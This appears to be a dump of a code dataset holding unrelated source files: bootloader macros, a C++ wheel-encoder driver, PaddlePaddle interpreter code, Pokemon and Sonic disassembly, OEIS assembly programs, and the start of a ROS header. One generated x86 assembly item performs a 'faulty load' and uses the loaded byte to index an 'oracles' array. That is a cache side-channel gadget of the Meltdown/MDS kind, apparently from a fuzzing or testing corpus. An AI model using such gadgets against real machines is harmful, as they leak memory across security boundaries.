text
stringlengths
1
1.05M
; DO NOT PUT CODE IN THIS FILE ONLY MACROS ; if you do the thing will blow up because the include for this file is at the top ; of the other files and the entry points won't be correct anymore %define BLOCK_SIZE 512 %define MAX_SECTORS 0x80 %define SECOND_STAGE_ENTRY 0x9000 %define SECOND_STAGE_SIZE 0x2000 ; just a guess %define KERNEL_ENTRY_POINT 0x100000 ; 1 MB %define KERNEL_SIZE 0x10000 ; 60KB (just a guess) %define ENABLE_VESA 1
/* * Author: Jon Trulson <jtrulson@ics.com> * Copyright (c) 2015 Intel Corporation. * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #include <iostream> #ifdef JAVACALLBACK #undef JAVACALLBACK #endif #include "wheelencoder.hpp" using namespace upm; using namespace std; WheelEncoder::WheelEncoder(int pin) : m_gpio(pin) { m_gpio.dir(mraa::DIR_IN); initClock(); m_counter = 0; m_isrInstalled = false; } WheelEncoder::~WheelEncoder() { stopCounter(); } void WheelEncoder::initClock() { gettimeofday(&m_startTime, NULL); } uint32_t WheelEncoder::getMillis() { struct timeval elapsed, now; uint32_t elapse; // get current time gettimeofday(&now, NULL); // compute the delta since m_startTime if( (elapsed.tv_usec = now.tv_usec - m_startTime.tv_usec) < 0 ) { elapsed.tv_usec += 1000000; elapsed.tv_sec = now.tv_sec - m_startTime.tv_sec - 1; } else { elapsed.tv_sec = now.tv_sec - m_startTime.tv_sec; } elapse = (uint32_t)((elapsed.tv_sec * 1000) + (elapsed.tv_usec / 1000)); // never return 0 if (elapse == 0) elapse = 1; return elapse; } void WheelEncoder::startCounter() { initClock(); m_counter = 0; // install our interrupt handler if (!m_isrInstalled) m_gpio.isr(mraa::EDGE_RISING, &wheelISR, this); m_isrInstalled = true; } void WheelEncoder::stopCounter() { // remove the interrupt handler if (m_isrInstalled) m_gpio.isrExit(); m_isrInstalled = false; } void WheelEncoder::wheelISR(void *ctx) { upm::WheelEncoder *This = (upm::WheelEncoder *)ctx; This->m_counter++; }
Sound_9B_Header: smpsHeaderStartSong 3 smpsHeaderVoice Sound_9B_Voices smpsHeaderTempoSFX $01 smpsHeaderChanSFX $02 smpsHeaderSFXChannel cFM4, Sound_9B_FM4, $F2, $00 smpsHeaderSFXChannel cFM5, Sound_9B_FM5, $F9, $00 ; FM5 Data Sound_9B_FM5: dc.b nRst, $02 ; FM4 Data Sound_9B_FM4: smpsSetvoice $00 smpsModSet $01, $01, $74, $29 Sound_9B_Loop00: dc.b nD1, $07, nRst, $02, nD1, $09, nRst smpsFMAlterVol $11 smpsLoop $00, $04, Sound_9B_Loop00 smpsStop Sound_9B_Voices: ; Voice $00 ; $38 ; $70, $30, $10, $30, $1F, $1D, $15, $1F, $00, $0C, $0E, $07 ; $06, $0F, $06, $12, $04, $12, $07, $18, $10, $07, $0C, $80 smpsVcAlgorithm $00 smpsVcFeedback $07 smpsVcUnusedBits $00 smpsVcDetune $03, $01, $03, $07 smpsVcCoarseFreq $00, $00, $00, $00 smpsVcRateScale $00, $00, $00, $00 smpsVcAttackRate $1F, $15, $1D, $1F smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $07, $0E, $0C, $00 smpsVcDecayRate2 $12, $06, $0F, $06 smpsVcDecayLevel $01, $00, $01, $00 smpsVcReleaseRate $08, $07, $02, $04 smpsVcTotalLevel $00, $0C, $07, $10
// Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "paddle/fluid/framework/new_executor/interpretercore.h" namespace paddle { namespace framework { InterpreterCore::InterpreterCore(const platform::Place& place, const ProgramDesc& main_prog, VariableScope* global_scope, const std::vector<std::string>& feed_names, const std::vector<std::string>& fetch_names) : place_(place), main_program_(main_prog), global_scope_(global_scope) { is_build_ = false; feed_names_ = feed_names; fetch_names_ = fetch_names; // add feedop and fetchop to main_program // prune // optmize graph pass // convert to run graph } void InterpreterCore::Run(const std::vector<framework::Tensor>& feed_tensors, std::vector<framework::Tensor>* fetch_tensors) { if (is_build_ == false) { BuildVariableScope(main_program_, global_scope_); } for (size_t i = 0; i < feed_names_.size(); ++i) { auto it = global_scope_->name2id.find(feed_names_[i]); assert(it != global_scope_->name2id.end()); auto feed_tensor = global_scope_->var_list[it->second]->GetMutable<framework::LoDTensor>(); feed_tensor->ShareDataWith(feed_tensors[i]); } if (is_build_ == false) { BuildOpFuncList(place_, main_program_, &op_list_, &vec_func_list_, global_scope_); is_build_ = true; // convert vec func_list to graph Convert(); } else { ExecuteInstructionList(vec_instruction_, *global_scope_, place_); } for (size_t i = 0; i < fetch_names_.size(); ++i) { auto it = global_scope_->name2id.find(fetch_names_[i]); assert(it != global_scope_->name2id.end()); PADDLE_ENFORCE_NE( it, global_scope_->name2id.end(), platform::errors::NotFound( "Can't find (%d) the fetch var (%s) in scope", i, fetch_names_[i])); auto fetch_tensor = global_scope_->var_list[it->second]->GetMutable<framework::LoDTensor>(); if (platform::is_gpu_place(fetch_tensor->place())) { Tensor out; platform::DeviceContextPool& pool = platform::DeviceContextPool::Instance(); auto* dev_ctx = pool.Get(place_); dev_ctx->Wait(); TensorCopySync(*fetch_tensor, platform::CPUPlace(), &out); dev_ctx->Wait(); fetch_tensors->push_back(out); } else { Tensor out; TensorCopySync(*fetch_tensor, platform::CPUPlace(), &out); fetch_tensors->push_back(out); } } } void InterpreterCore::Convert() { input_var2op_info_.resize(global_scope_->var_list.size()); vec_instruction_.reserve(vec_func_list_.size()); dependecy_count_.resize(vec_func_list_.size()); vec_meta_info_.resize(global_scope_->var_list.size()); for (size_t i = 0; i < vec_func_list_.size(); ++i) { Instruction temp_inst; temp_inst.kernel_func_.compute_func_ = vec_func_list_[i].kernel_func_; temp_inst.kernel_func_.operator_base_ = op_list_[i]; temp_inst.input_index_ = vec_func_list_[i].input_index; temp_inst.output_index_ = vec_func_list_[i].output_index; std::vector<size_t> gc_check_input_list; for (auto& item : vec_func_list_[i].input_index) { for (auto id : item.second) { input_var2op_info_[id].push_back(i); gc_check_input_list.push_back(id); } } std::sort(gc_check_input_list.begin(), gc_check_input_list.end()); auto last = std::unique(gc_check_input_list.begin(), gc_check_input_list.end()); gc_check_input_list.erase(last, gc_check_input_list.end()); for (auto var_id : gc_check_input_list) { vec_meta_info_[var_id].var_ref_count_++; } temp_inst.gc_check_var_list.swap(gc_check_input_list); vec_instruction_.push_back(temp_inst); } for (size_t i = 0; i < vec_instruction_.size(); ++i) { std::vector<size_t> vec_temp; for (auto& item : vec_instruction_[i].output_index_) { for (auto id : item.second) { vec_temp = MergeVector(vec_temp, input_var2op_info_[id]); } } // In Program, op order is a very import information. // Op can noly add op after it as next as next ops. std::vector<size_t> filter_next; filter_next.reserve(vec_temp.size()); for (auto item : vec_temp) { if (item > i) { filter_next.push_back(item); } } vec_instruction_[i].next_instruction_.direct_run_ = filter_next; // checkout ouput for (auto& item : vec_instruction_[i].output_index_) { for (auto id : item.second) { if (input_var2op_info_[id].size() == 0) { // output var not be used by any kernel vec_instruction_[i].gc_check_var_list.push_back(id); vec_meta_info_[id].var_ref_count_++; } } } for (auto inst_id : filter_next) { dependecy_count_[inst_id]++; } } for (size_t i = 0; i < vec_instruction_.size(); ++i) { BuildInstructionCtx(&vec_instruction_[i], *global_scope_, place_); } } void InterpreterCore::BuildInstructionCtx(Instruction* instr_node, const VariableScope& var_scope, const platform::Place& place) { auto op_base = instr_node->kernel_func_.operator_base_; VariableValueMap ins_map; for (auto& var_name_item : instr_node->input_index_) { std::vector<Variable*> input_vars; input_vars.reserve(var_name_item.second.size()); for (auto& id : var_name_item.second) { input_vars.emplace_back(var_scope.var_list[id]); } ins_map.emplace(var_name_item.first, std::move(input_vars)); } VariableValueMap outs_map; for (auto& var_name_item : instr_node->output_index_) { std::vector<Variable*> out_vars; out_vars.reserve(var_name_item.second.size()); for (auto& id : var_name_item.second) { out_vars.emplace_back(var_scope.var_list[id]); } outs_map.emplace(var_name_item.first, std::move(out_vars)); } instr_node->runtime_ctx_.reset(new RuntimeContext({}, {})); instr_node->runtime_ctx_->inputs.swap(ins_map); instr_node->runtime_ctx_->outputs.swap(outs_map); instr_node->infershape_ctx_.reset( new RuntimeInferShapeContext(*op_base, *instr_node->runtime_ctx_.get())); platform::DeviceContextPool& pool = platform::DeviceContextPool::Instance(); auto* dev_ctx = pool.Get(place); Scope scope; instr_node->execution_ctx_.reset(new ExecutionContext( *op_base, scope, *dev_ctx, *instr_node->runtime_ctx_.get())); } void InterpreterCore::RunInstruction(const Instruction& instr_node) { static_cast<const framework::OperatorWithKernel*>( instr_node.kernel_func_.operator_base_) ->InferShape(instr_node.infershape_ctx_.get()); instr_node.kernel_func_.compute_func_(*instr_node.execution_ctx_.get()); } void InterpreterCore::ExecuteInstructionList( const std::vector<Instruction>& vec_instr, const VariableScope& var_scope, const platform::Place& place) { std::queue<size_t> working_queue; auto working_dependecy_count = dependecy_count_; for (size_t i = 0; i < dependecy_count_.size(); ++i) { if (dependecy_count_[i] == 0) { working_queue.push(i); } } auto working_var_ref = vec_meta_info_; size_t run_op_number = 0; while (!working_queue.empty()) { auto instr_id = working_queue.front(); working_queue.pop(); auto& instr_node = vec_instr[instr_id]; RunInstruction(instr_node); auto& next_instr = instr_node.next_instruction_.direct_run_; ++run_op_number; for (auto next_i : next_instr) { --working_dependecy_count[next_i]; if (working_dependecy_count[next_i] == 0) { working_queue.push(next_i); } } // GC infomation auto& gc_check_list = instr_node.gc_check_var_list; for (auto var_id : gc_check_list) { --working_var_ref[var_id].var_ref_count_; } } for (size_t i = 0; i < working_var_ref.size(); ++i) { if (working_var_ref[i].var_ref_count_ != 0) { std::cerr << " var ref is not zero " << i << std::endl; } } } std::vector<size_t> InterpreterCore::MergeVector( const std::vector<size_t>& first, const std::vector<size_t>& second) { std::vector<size_t> out(first.size() + second.size()); std::merge(first.begin(), first.end(), second.begin(), second.end(), out.begin()); std::vector<size_t>::iterator it; it = std::unique(out.begin(), out.end()); out.resize(std::distance(out.begin(), it)); return out; } void InterpreterCore::BuildVariableScope(const framework::ProgramDesc& pdesc, VariableScope* var_scope) { auto& global_block = pdesc.Block(0); for (auto& var : global_block.AllVars()) { if (var->Name() == framework::kEmptyVarName) { continue; } if (var_scope->name2id.find(var->Name()) == var_scope->name2id.end()) { var_scope->name2id[var->Name()] = var_scope->var_list.size(); auto v = new Variable(); InitializeVariable(v, var->GetType()); var_scope->var_list.push_back(v); } } } void InterpreterCore::BuildOpFuncList(const platform::Place& place, const framework::ProgramDesc& pdesc, std::vector<OperatorBase*>* op_list, std::vector<OpFuncNode>* vec_func_list, VariableScope* var_scope) { auto& global_block = pdesc.Block(0); for (auto& op : global_block.AllOps()) { VLOG(3) << op->Type(); // << op->Type() << endl; auto& info = OpInfoMap::Instance().Get(op->Type()); const VariableNameMap& inputs_names = op->Inputs(); const VariableNameMap& outputs_names = op->Outputs(); AttributeMap op_attr_map = op->GetAttrMap(); if (info.Checker() != nullptr) { info.Checker()->Check(&op_attr_map); } auto op_base = info.Creator()(op->Type(), inputs_names, outputs_names, op_attr_map); OpFuncNode op_func_node; VariableValueMap ins_map; std::map<std::string, std::vector<int>> ins_name2id; for (auto& var_name_item : inputs_names) { std::vector<Variable*> input_vars; std::vector<int> vec_ids; input_vars.reserve(var_name_item.second.size()); for (auto& var_name : var_name_item.second) { auto it = var_scope->name2id.find(var_name); assert(it != var_scope->name2id.end()); input_vars.push_back(var_scope->var_list[it->second]); vec_ids.push_back(it->second); } ins_map[var_name_item.first] = input_vars; ins_name2id[var_name_item.first] = vec_ids; } VariableValueMap outs_map; std::map<std::string, std::vector<int>> outs_name2id; for (auto& var_name_item : outputs_names) { std::vector<Variable*> output_vars; std::vector<int> vec_ids; output_vars.reserve(var_name_item.second.size()); for (auto& var_name : var_name_item.second) { auto it = var_scope->name2id.find(var_name); assert(it != var_scope->name2id.end()); output_vars.push_back(var_scope->var_list[it->second]); vec_ids.push_back(it->second); } outs_map[var_name_item.first] = output_vars; outs_name2id[var_name_item.first] = vec_ids; } op_func_node.input_index = ins_name2id; op_func_node.output_index = outs_name2id; RuntimeContext runtime_context({}, {}); runtime_context.inputs.swap(ins_map); runtime_context.outputs.swap(outs_map); RuntimeInferShapeContext infer_shape_ctx(*op_base, runtime_context); static_cast<const framework::OperatorWithKernel*>(op_base)->InferShape( &infer_shape_ctx); auto& all_op_kernels = OperatorWithKernel::AllOpKernels(); auto kernels_iter = all_op_kernels.find(op->Type()); PADDLE_ENFORCE_NE( kernels_iter, all_op_kernels.end(), platform::errors::Unavailable( "There are no kernels which are registered in the %s operator.", op->Type())); OpKernelMap& kernels = kernels_iter->second; // auto place = platform::CPUPlace(); // auto place = platform::CUDAPlace(0); platform::DeviceContextPool& pool = platform::DeviceContextPool::Instance(); auto* dev_ctx = pool.Get(place); Scope scope; auto exec_ctx = ExecutionContext(*op_base, scope, *dev_ctx, runtime_context); auto expected_kernel_key = dynamic_cast<const framework::OperatorWithKernel*>(op_base) ->GetExpectedKernelType(exec_ctx); VariableValueMap& ins_map_temp = runtime_context.inputs; for (auto& var_name_item : ins_map_temp) { for (size_t i = 0; i < var_name_item.second.size(); ++i) { auto var = var_name_item.second[i]; auto tensor_in = static_cast<const Tensor*>(&(var->Get<LoDTensor>())); if (!tensor_in->IsInitialized()) { continue; } auto kernel_type_for_var = static_cast<const framework::OperatorWithKernel*>(op_base) ->GetKernelTypeForVar(var_name_item.first, *tensor_in, expected_kernel_key); if (!platform::is_same_place(kernel_type_for_var.place_, expected_kernel_key.place_)) { // need trans place // 1. add var in scope // 2. add copy op std::string new_var_name = "temp_1" + std::to_string(var_scope->var_list.size() + 1); auto v = new Variable(); v->GetMutable<LoDTensor>(); var_scope->name2id[new_var_name] = var_scope->var_list.size(); var_scope->var_list.push_back(v); VariableNameMap copy_in_map; auto x_iter = inputs_names.find(var_name_item.first); copy_in_map["X"] = {x_iter->second[i]}; VariableNameMap copy_out_map; copy_out_map["Out"] = {new_var_name}; AttributeMap attr_map; attr_map["dst_place_type"] = is_cpu_place(place) ? 0 : is_gpu_place(place) ? 1 : -1; std::map<std::string, std::vector<int>> copy_ins_name2id; copy_ins_name2id["X"] = ins_name2id[var_name_item.first]; std::map<std::string, std::vector<int>> copy_out_name2id; copy_out_name2id["Out"] = {var_scope->name2id[new_var_name]}; op_func_node.input_index[var_name_item.first][i] = var_scope->name2id[new_var_name]; VariableValueMap copy_ins_value_map; copy_ins_value_map["X"] = {var}; VariableValueMap copy_outs_value_map; copy_outs_value_map["Out"] = {v}; auto& copy_info = OpInfoMap::Instance().Get("memcpy"); auto copy_op = copy_info.Creator()("memcpy", copy_in_map, copy_out_map, attr_map); OpFuncNode copy_op_func_node; copy_op_func_node.input_index = copy_ins_name2id; copy_op_func_node.output_index = copy_out_name2id; RuntimeContext copy_runtime_context({}, {}); copy_runtime_context.inputs.swap(copy_ins_value_map); copy_runtime_context.outputs.swap(copy_outs_value_map); RuntimeInferShapeContext copy_infer_shape_ctx(*copy_op, copy_runtime_context); static_cast<const framework::OperatorWithKernel*>(copy_op) ->InferShape(&copy_infer_shape_ctx); auto& all_op_kernels = OperatorWithKernel::AllOpKernels(); auto kernels_iter = all_op_kernels.find("memcpy"); PADDLE_ENFORCE_NE(kernels_iter, all_op_kernels.end(), platform::errors::Unavailable( "There are no kernels which are registered in " "the memcpy operator.")); OpKernelMap& kernels = kernels_iter->second; platform::DeviceContextPool& pool = platform::DeviceContextPool::Instance(); auto* dev_ctx = pool.Get(place); Scope scope; auto copy_exec_ctx = ExecutionContext(*copy_op, scope, *dev_ctx, copy_runtime_context); auto expected_kernel_key = dynamic_cast<const framework::OperatorWithKernel*>(copy_op) ->GetExpectedKernelType(copy_exec_ctx); auto kernel_iter = kernels.find(expected_kernel_key); copy_op_func_node.kernel_func_ = OpKernelComputeFunc(kernel_iter->second); copy_op_func_node.kernel_func_(copy_exec_ctx); op_list->push_back(copy_op); vec_func_list->push_back(copy_op_func_node); var_name_item.second[i] = v; } } } op_list->push_back(op_base); auto kernel_iter = kernels.find(expected_kernel_key); PADDLE_ENFORCE_NE(kernel_iter, kernels.end(), platform::errors::NotFound( "Operator (%s) does not have kernel for %s.", op->Type(), KernelTypeToString(expected_kernel_key))); op_func_node.kernel_func_ = OpKernelComputeFunc(kernel_iter->second); op_func_node.kernel_func_(exec_ctx); vec_func_list->push_back(op_func_node); } } } // namespace framework } // namespace paddle
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r15 push %r9 push %rbp push %rbx push %rcx push %rdi lea addresses_WT_ht+0x1dd0b, %r15 nop nop nop nop xor $39361, %rdi movw $0x6162, (%r15) nop nop nop nop add %r9, %r9 lea addresses_D_ht+0x13f0b, %rdi nop nop xor $57260, %rcx vmovups (%rdi), %ymm0 vextracti128 $0, %ymm0, %xmm0 vpextrq $1, %xmm0, %rbx nop add $60667, %r9 lea addresses_WT_ht+0x3863, %rbx nop nop and %rbp, %rbp movb $0x61, (%rbx) add %rcx, %rcx lea addresses_WC_ht+0x12c8b, %r9 nop nop nop nop sub $56066, %rcx mov (%r9), %r15 nop nop nop nop add %r15, %r15 lea addresses_normal_ht+0xa70b, %rdi clflush (%rdi) nop nop nop nop nop sub %rbx, %rbx movw $0x6162, (%rdi) nop nop nop nop nop and $2262, %rbp lea addresses_WT_ht+0xab63, %rbx nop nop cmp $35873, %r9 and $0xffffffffffffffc0, %rbx vmovntdqa (%rbx), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $1, %xmm4, %rbp sub %rcx, %rcx lea addresses_UC_ht+0x63c7, %r9 clflush (%r9) nop nop and %rdi, %rdi movb $0x61, (%r9) nop nop cmp $37291, %rbx pop %rdi pop %rcx pop %rbx pop %rbp pop %r9 pop %r15 pop %r13 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r15 push %r8 push %rax push %rbp push %rdx // Store lea addresses_D+0x1338b, %rdx sub $39207, %r15 movb $0x51, (%rdx) nop inc %r10 // Store lea addresses_normal+0x15c8b, %r15 nop nop nop inc %r12 mov $0x5152535455565758, %rax movq %rax, (%r15) nop nop xor $50099, %r8 // Store lea addresses_WT+0x1b1f, %rbp nop nop nop cmp %r10, %r10 mov $0x5152535455565758, %r12 movq %r12, %xmm5 movups %xmm5, (%rbp) nop nop nop dec %rax // Store lea addresses_UC+0x1870b, %r12 nop nop nop xor %r15, %r15 movw $0x5152, (%r12) nop nop add $57661, %rbp // Load lea addresses_normal+0x498b, %r10 sub $22205, %rax movb (%r10), %r8b nop nop nop nop and %r10, %r10 // Faulty Load lea addresses_WC+0x1c30b, %rax nop nop and $34863, %r15 movb (%rax), %r12b lea oracles, %rdx and $0xff, %r12 shlq $12, %r12 mov (%rdx,%r12,1), %r12 pop %rdx pop %rbp pop %rax pop %r8 pop %r15 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WC', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_D', 'congruent': 7}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal', 'congruent': 6}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WT', 'congruent': 2}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_UC', 'congruent': 5}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_normal', 'congruent': 5}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WC', 'congruent': 0}} <gen_prepare_buffer> {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WT_ht', 'congruent': 9}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_D_ht', 'congruent': 10}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WT_ht', 'congruent': 2}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WC_ht', 'congruent': 7}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_normal_ht', 'congruent': 6}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 32, 'type': 'addresses_WT_ht', 'congruent': 2}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_UC_ht', 'congruent': 2}, 'OP': 'STOR'} {'38': 21829} 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 */
BluesHouseScript: call EnableAutoTextBoxDrawing ld hl, BluesHouseScriptPointers xor a call JumpTable ret BluesHouseScriptPointers: dw BluesHouseScript0 dw BluesHouseScript1 BluesHouseScript0: SetEvent EVENT_ENTERED_BLUES_HOUSE ; trigger the next script ld a, 1 ld [wBluesHouseCurScript], a BluesHouseScript1: ret BluesHouseTextPointers: dw BluesHouseText1 dw BluesHouseText2 dw BluesHouseText3 BluesHouseText1: TX_ASM CheckEvent EVENT_GOT_TOWN_MAP jr nz, .GotMap CheckEvent EVENT_GOT_POKEDEX jr nz, .GiveMap ld hl, DaisyInitialText call PrintText jr .done .GiveMap ld hl, DaisyOfferMapText call PrintText lb bc, TOWN_MAP, 1 call GiveItem jr nc, .BagFull ld a, HS_TOWN_MAP ld [wMissableObjectIndex], a predef HideObject ; hide table map object ld hl, GotMapText call PrintText SetEvent EVENT_GOT_TOWN_MAP jr .done .GotMap ld hl, DaisyUseMapText call PrintText jr .done .BagFull ld hl, DaisyBagFullText call PrintText .done jp TextScriptEnd DaisyInitialText: TX_FAR _DaisyInitialText db "@" DaisyOfferMapText: TX_FAR _DaisyOfferMapText db "@" GotMapText: TX_FAR _GotMapText TX_SFX_KEY_ITEM db "@" DaisyBagFullText: TX_FAR _DaisyBagFullText db "@" DaisyUseMapText: TX_FAR _DaisyUseMapText db "@" BluesHouseText2: ; Daisy, walking around TX_FAR _BluesHouseText2 db "@" BluesHouseText3: ; map on table TX_FAR _BluesHouseText3 db "@"
; A227394: The maximum value of x^4(n-x)(x-1) for x in 1..n is reached for x = a(n). ; 1,1,2,3,4,5,6,7,7,8,9,10,11,12,13,13,14,15,16,17,18,18,19,20,21,22,23,23,24,25,26,27,28,28,29,30,31,32,33,33,34,35,36,37,38,38,39,40,41,42,43,43,44,45,46,47,48,48,49,50,51,52,53,53,54,55,56 mov $1,$0 add $1,1 mov $2,1 mov $3,$0 lpb $0 sub $1,1 sub $3,6 mov $0,$3 trn $0,1 mov $4,$2 trn $2,3 sub $3,$4 lpe
; A170401: Number of reduced words of length n in Coxeter group on 8 generators S_i with relations (S_i)^2 = (S_i S_j)^44 = I. ; 1,8,56,392,2744,19208,134456,941192,6588344,46118408,322828856,2259801992,15818613944,110730297608,775112083256,5425784582792,37980492079544,265863444556808,1861044111897656,13027308783283592 mov $1,7 pow $1,$0 add $1,2 mul $1,8 div $1,7 sub $1,2
; A010879: Final digit of n. ; 0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0 mod $0,10
/* * Copyright (C) 2020 Open Source Robotics Foundation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ #ifndef RMF_RXCPP__TRANSPORT_HPP #define RMF_RXCPP__TRANSPORT_HPP #include <rmf_rxcpp/detail/TransportDetail.hpp> #include <rmf_rxcpp/RxJobs.hpp> #include <rclcpp/rclcpp.hpp> #include <rxcpp/rx.hpp> #include <utility> #include <optional> namespace rmf_rxcpp { // TODO(MXG): We define all the member functions of this class inline so that we // don't need to export/install rmf_rxcpp as its own shared library (linking to // it as a static library results in linking errors related to symbols not being // relocatable). This is a quick and 